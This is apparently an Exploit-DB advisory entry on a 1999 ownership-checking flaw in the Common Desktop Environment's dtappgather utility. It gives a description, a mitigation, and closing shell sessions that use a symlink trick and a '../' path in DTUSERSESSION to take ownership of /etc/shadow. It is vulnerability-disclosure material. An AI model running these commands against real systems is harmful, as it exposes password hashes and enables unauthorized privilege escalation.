Improper Checking of Ownership in dtappgather Utility

vendor:

Common Desktop Environment

by:

SecurityFocus

7.2

CVSS

HIGH

Improper Checking of Ownership

264

CWE

Product Name: Common Desktop Environment

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: YES

Related CWE: N/A

CPE: a:x_open:common_desktop_environment

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

1999

Improper Checking of Ownership in dtappgather Utility

Due to improper checking of ownership, the dtappgather utility shipped with the Common Desktop Environment allows arbitrary users to overwrite any file present on the filesystem, regardless of the owner of the file. dtappgather uses a directory of permissions 0777 to create temporary files used by each login session. /var/dt/appconfig/appmanager/generic-display-0 is not checked for existence prior to the opening of the file by dtappgather, and as such, if a user were to create a symbolic link from this file to another on the filesystem, the permissions of this file would be changed to 0666. An additional bug exists whereby dtappgather blindly uses the contents of the DTUSERSESSION environment variable. By setting this variable to point to a file on the filesystem, its permissions can also be changed. As this command takes place relative to the /var/dt/appconfig directory, a series of '..' are required to establish the root directory, after which any file can be altered.

Mitigation:

Ensure that the permissions of the /var/dt/appconfig/appmanager/generic-display-0 directory are set to 0755 or less, and that the DTUSERSESSION environment variable is not set.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/131/info

Due to improper checking of ownership, the dtappgather utility shipped with the Common Desktop Environment allows arbitrary users to overwrite any file present on the filesystem, regardless of the owner of the file. 

dtappgather uses a directory of permissions 0777 to create temporary files used by each login session. /var/dt/appconfig/appmanager/generic-display-0 is not checked for existence prior to the opening of the file by dtappgather, and as such, if a user were to create a symbolic link from this file to another on the filesystem, the permissions of this file would be changed to 0666.

An additional bug exists whereby dtappgather blindly uses the contents of the DTUSERSESSION environment variable. By setting this variable to point to a file on the filesystem, its permissions can also be changed. As this command takes place relative to the /var/dt/appconfig directory, a series of '..' are required to establish the root directory, after which any file can be altered.

% ls -l /etc/shadow
-r--r--r-- 1 root other 1500 Dec 29 18:21 /etc/shadow
% ln -s /etc/shadow /var/dt/appconfig/appmanager/generic-display-0
% dtappgather
MakeDirectory: /var/dt/appconfig/appmanager/generic-display-0: File exists
% ls -l /etc/shadow
-r-xr-xr-x 1 user users 1500 Dec 29 18:21 /etc/shadow
---------------------------------------------
$ id
uid=6969(foo) gid=666(bar)
$ ls -l /etc/shadow
-r-------- 1 root sys 234 Nov 7 1999 /etc/shadow
$ env DTUSERSESSION=../../../../../../../etc/shadow dtappgather
$ ls -l /etc/shadow
-r-xr-xr-x 1 foo bar 234 Nov 7 1999 /etc/shadow